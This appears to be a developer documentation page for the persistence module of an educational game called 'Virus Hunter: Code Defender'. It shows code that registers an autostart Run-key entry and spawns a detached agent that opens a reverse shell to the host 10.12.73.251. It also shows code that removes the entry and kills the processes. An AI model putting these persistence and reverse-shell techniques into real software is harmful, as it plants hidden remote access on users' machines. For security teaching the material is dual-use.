Skip to main content

Persistence Module

cyber_modules/persistence.py demonstrates how malware establishes and removes startup persistence on Windows, Linux, and macOS. In Virus Hunter: Code Defender this is triggered at Level 3 when the player interacts with the quarantine terminal.
This module is provided for cybersecurity education only. The persistence mechanisms it implements are real OS-level techniques. Run it exclusively in isolated lab environments (virtual machines) where you have explicit authorisation.

Constants

SIMULATED_STARTUP_DIR = Path(__file__).resolve().parent / "simulated_startup"
PERSISTENCE_MARKER    = SIMULATED_STARTUP_DIR / "system_defender_autorun.txt"
ConstantValueDescription
SIMULATED_STARTUP_DIRcyber_modules/simulated_startup/Directory created to hold the marker file. Created with mkdir(parents=True, exist_ok=True) on first use.
PERSISTENCE_MARKERcyber_modules/simulated_startup/system_defender_autorun.txtText file written to confirm persistence is active. Contains the target platform and agent command.

create_persistence(host)

Establishes startup persistence using the OS-appropriate mechanism, writes a marker file, and immediately spawns a detached background agent process.
def create_persistence(host: str = "10.12.73.251") -> Tuple[bool, Path]
host
str
default:"10.12.73.251"
IP address passed to the spawned agent via --host. The agent uses this to connect the reverse shell.
return
Tuple[bool, Path]
A 2-tuple of (success, PERSISTENCE_MARKER). success is True if the detached agent process was launched successfully, False if the launch raised an exception. The marker path is always returned regardless of outcome.

Agent command construction

The function first detects whether it is running as a frozen PyInstaller executable or as a plain Python script:
is_frozen = getattr(sys, 'frozen', False)
if is_frozen:
    exe_path = os.path.abspath(sys.executable)          # path to the .exe
else:
    exe_path = f'"{sys.executable}" "{...main_game.py}"'  # python + script

agent_cmd = f'{exe_path} --bg --host {host}'
The --bg flag causes main() to skip Pygame and run only the reverse shell.

Platform-specific startup registration

Adds a REG_SZ value named "VirusHunterAgent" to the current user’s Run key:
import winreg
key = winreg.OpenKey(
    winreg.HKEY_CURRENT_USER,
    r"Software\Microsoft\Windows\CurrentVersion\Run",
    0, winreg.KEY_SET_VALUE
)
winreg.SetValueEx(key, "VirusHunterAgent", 0, winreg.REG_SZ, agent_cmd)
winreg.CloseKey(key)
The agent command runs each time the current user logs in.

Marker file

After the platform step, a text file is written regardless of whether the registry/crontab/plist step succeeded:
PERSISTENCE_MARKER.write_text(
    f"Persistence active on {sys.platform}\nTarget: {agent_cmd}\n"
)

Immediate detached launch

A background process is spawned right away so the shell connects without waiting for a reboot:
if sys.platform == "win32":
    subprocess.Popen(
        cmd_args,
        creationflags=0x00000008 | 0x00000200,  # DETACHED_PROCESS | CREATE_NEW_PROCESS_GROUP
        close_fds=True
    )
else:
    subprocess.Popen(cmd_args, start_new_session=True)
FlagValueMeaning
DETACHED_PROCESS0x00000008Detaches from the parent console.
CREATE_NEW_PROCESS_GROUP0x00000200Creates an independent process group.
start_new_sessionTrue (POSIX)Calls setsid(), fully detaching from the parent session.

remove_persistence()

Reverses all persistence mechanisms set by create_persistence() and terminates any running agent processes.
def remove_persistence() -> Tuple[bool, Path]
return
Tuple[bool, Path]
Always returns (True, PERSISTENCE_MARKER). The marker is deleted if it exists.
  1. Deletes the "VirusHunterAgent" registry value:
    winreg.DeleteValue(key, "VirusHunterAgent")
    
  2. Force-terminates any running instances:
    subprocess.run(["taskkill", "/F", "/IM", "VirusHunter.exe"],
                   stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
    subprocess.run(["taskkill", "/F", "/IM", "pythonw.exe"],
                   stderr=subprocess.DEVNULL, stdout=subprocess.DEVNULL)
    
Finally, the marker file is deleted on all platforms:
if PERSISTENCE_MARKER.exists():
    PERSISTENCE_MARKER.unlink()

Build docs developers (and LLMs) love